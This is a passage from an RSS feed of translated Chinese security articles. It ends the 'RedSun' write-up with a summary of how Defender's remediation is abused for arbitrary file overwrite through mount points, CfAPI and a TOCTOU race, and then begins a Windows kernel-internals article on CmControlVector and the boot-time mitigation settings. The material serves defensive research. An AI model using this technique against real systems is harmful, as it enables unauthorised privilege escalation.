BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">RedSun 揭示了现代操作系统安全领域中一项持续存在的挑战：防御软件与复杂文件系统特性之间的交汇边界。攻击者将杀毒引擎的修复能力转化为任意文件覆写原语，得以在无需依赖内存破坏的前提下绕过传统访问控制机制。缓解此类威胁需采用纵深防御策略，将严格的策略管控 (如限制非特权用户创建挂载点及访问 CfAPI) 与健壮的行为监控相结合，以识别 TOCTOU 攻击所特有的、快速且异常的文件系统操作序列。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012135" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=de9d5450&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSh6IuYW6GtDPibDMe358UKmvSE0SL9mW5hZfOYj0OGH7zicsVHflmZwPCALXTgQhIzJh9KdJIKH7OibJ2nNT9icIpVlDozX0oVXbqI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.coresecurity.com/blog/analysis-redsun-local-privilege-escalation-defender-remediation-abuse">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=74cfed2b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495864%26idx%3D1%26sn%3D00b58f2e381da3ee9c69a665ced4f5f5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 28 Apr 2026 13:10:00 +0800</pubDate>
    </item>
    <item>
      <title>Windows 早期启动配置：CmControlVector 与 PspSystemMitigationOptions</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495864&amp;idx=2&amp;sn=0c2d945b9174141a0586f31e91c3df1a</link>
      <description>深入解析 Windows 内核早期启动阶段的 CmControlVector 全局结构体，揭示其如何在 Phase 0 期间从注册表读取系统级漏洞利用缓解配置并初始化 PspSystemMitigationOptions 全局变量。</description>
      <content:encoded><![CDATA[<p><span>Tillmann Oßwald</span> <span>2026-04-28 13:10</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9bf029c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSia6ia279krgAOWQVyBULm5ibeWhkEbqB7YY2XTR4eqO00CASxDsHm82xOXenAfg8VYRHsVx4AT3pSXoh03UglibfeXBHP4so0I5Bk%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>深入解析 Windows 内核早期启动阶段的 CmControlVector 全局结构体，揭示其如何在 Phase 0 期间从注册表读取系统级漏洞利用缓解配置并初始化 PspSystemMitigationOptions 全局变量。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top-width: 1px;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://insinuator.net/2026/04/windows-early-boot-configuration-the-cmcontrolvector-and-pspsystemmitigationoptions/" target="_blank">https://insinuator.net/2026/04/windows-early-boot-configuration-the-cmcontrolvector-and-pspsystemmitigationoptions/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Tillmann Oßwald</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在调查进程缓解设置的初始化流程时，我发现了全局变量 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">。顺着这个值的赋值路径追溯，最终引出了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">。本文将深入探讨 Windows 内核层的配置管理器，重点分析其全局变量 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">。需要说明的是：此处的内核配置管理器与 Microsoft Intune 的 Configuration Manager 并无关联。概括而言，配置管理器负责管理和实现注册表，同时也承担着系统早期启动阶段的部分初始化工作。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文结构如下：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">首先，简要介绍我发现 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">的背景经过，当然是经由一段迂回的路径。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">接着，讨论内核配置管理器处理 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">的时机与方式。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">最后，深入分析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">变量并提取若干洞见。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最近，有一个关于进程 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationFlags</span></code><span leaf="">的问题引起了我的关注。这些标志位编码了内核 (或进程本身) 为进程应用的漏洞利用缓解措施。已启用的缓解措施信息存储于进程的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_EPROCESS</span></code><span leaf="">结构中。许多漏洞利用缓解措施在进程初始化阶段就已发挥作用。在以往的研究中 (例如我们针对应用程序兼容性基础设施的分析)，我们经常需要调试 Windows 的进程创建过程，多次遇到全局变量 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">。该变量在分配新进程时被 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspAllocateProcess</span></code><span leaf="">显式引用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简而言之，全局变量 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">与注册表中按进程 (更准确地说，按映像) 存储的设置相结合，后者即为</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Image File Execution Options</span></code><span leaf="">(</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IFEO</span></code><span leaf="">)。两者合并后形成有效的</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationFlags</span></code><span leaf="">，再经转换后存入进程的</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_EPROCESS</span></code><span leaf="">结构。本文无需深入探讨该设置与合并过程，但大致流程如下：系统级设置与按映像设置合并为有效的缓解配置，随后转换为</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_EPROCESS</span></code><span leaf="">结构中的三个</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions</span></code><span leaf="">字段。该转换主要包括重排比特位顺序，并执行一些额外的检查和查找操作。在</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_EPROCESS</span></code><span leaf="">中，这三个字段分别命名为</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions2</span></code><span leaf="">和</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions3</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions</span></code><span leaf="">随时间持续演进，随着 Windows 新版本的发布及新缓解措施的引入，目前已有三个 64 位值来编码这些选项。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">按映像设置与系统级设置均存储于注册表中。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IFEO</span></code><span leaf="">选项顾名思义，按映像配置。该注册表键不仅可用于配置缓解选项，其功能已部分记录于文档。我通常利用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IFEO</span></code><span leaf="">选项在进程启动时附加调试器 (优先选用时间旅行调试器)。每个映像的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions</span></code><span leaf="">值位于以下路径：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\&lt;ImageName.exe&gt;</span></code></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">系统级缓解设置存储于：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel</span></code></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过更改所谓的&#34;漏洞防护&#34;设置并使用 Procmon 跟踪注册表访问，可以轻松定位这些存储路径。但这仅能获知设置的存储位置，并通过调用栈确定负责写入这些值的代码，至于哪个组件负责读取这些值，则仍不明确。对于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">IFEO</span></code><span leaf="">的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MitigationOptions</span></code><span leaf="">，读取操作发生在进程分配阶段的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspAllocateProcess</span></code><span leaf="">中，这一点相当清晰。而系统级缓解设置的读取流程则不那么直观。在调查过程中，我也参考了其他研究者对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">的分析。浏览文章时，有几点引起了我的注意：这些设置&#34;由启动时的注册表配置填充&#34;，且&#34;运行时对 MitigationOptions 的修改在下次重启前均无效&#34;。事实确实如此——每当系统级&#34;漏洞利用缓解&#34;设置发生变更时，Windows 会通知用户需要重启才能使更改生效。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上述文章也提到了系统级缓解设置从注册表中读取的时机，但我略过了这一部分，选择再次通过 Procmon 自行调查。我配置了一个 Procmon 启动跟踪，重启系统后发现该注册表值从未被读取，重复操作结果相同，这表明该值在 Procmon 启动之前就已被访问。与此同时，我也进行了一些静态逆向分析：初始化过程中并不存在对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">的直接引用——交叉引用始终预设其已被赋值，仅作读取使用。然而，我很快发现 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">被引用于一个更大的结构体 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CmControlVector</span></code><span leaf="">中，该结构体由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">nt!CmpGetSystemControlValues</span></code><span leaf="">使用。为验证静态逆向分析的结论，我在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code><span leaf="">上设置了数据断点。断点如预期命中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">nt!CmpGetSystemControlValues</span></code><span leaf="">也清晰地出现在调用栈中，如下所示：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">kd&gt; k</span><span leaf=""><br/></span><span leaf=""> # Child-SP          RetAddr               Call Site</span><span leaf=""><br/></span><span leaf="">00 fffff802</span><span style="color: rgb(0, 56, 120);"><span leaf="">`8107b258 fffff802`</span></span><span leaf="">ef23dacc     nt!memcpy+0x32</span><span leaf=""><br/></span><span leaf="">01 fffff802</span><span style="color: rgb(0, 56, 120);"><span leaf="">`8107b260 fffff802`</span></span><span leaf="">ef239bd2     nt!CmpGetBootValueData+0x210</span><span leaf=""><br/></span><span leaf="">02 fffff802</span><span style="color: rgb(0, 56, 120);"><span leaf="">`8107b2d0 fffff802`</span></span><span leaf="">ef239184     nt!CmpGetSystemControlValues+0x38a</span><span leaf=""><br/></span><span leaf="">03 fffff802</span><span style="color: rgb(0, 56, 120);"><span leaf="">`8107b590 fffff802`</span></span><span leaf="">ef1fbef0     nt!CmInitSystem0+0x1c</span><span leaf=""><br/></span><span leaf="">04 fffff802</span><span style="color: rgb(0, 56, 120);"><span leaf="">`8107b5c0 fffff802`</span></span><span leaf="">ef14a156     nt!InitBootProcessor+0x268</span><span leaf=""><br/></span><span leaf="">05 fffff802</span><span style="color: rgb(0, 56, 120);"><span leaf="">`8107b7d0 fffff802`</span></span><span leaf="">ef13c623     nt!KiInitializeKernel+0x816</span><span leaf=""><br/></span><span leaf="">06 fffff802</span><span style="color: rgb(0, 56, 120);"><span leaf="">`8107bab0 00000000`</span></span><span leaf="">00000000     nt!KiSystemStartup+0x283</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">确认了预期结论后，需要将其置于更宏观的背景中加以理解。我们所处理的是内核内部的配置管理器代码，这意味着执行仍处于内核初始化的第零阶段。通常，Windows 内核初始化分为两个阶段：Phase 0 和 Phase 1。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Phase 0 在系统单线程运行时执行早期底层设置，以最少的资源初始化核心组件，包括内存管理、中断处理和硬件抽象层 (HAL)。注册表的建立以及 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 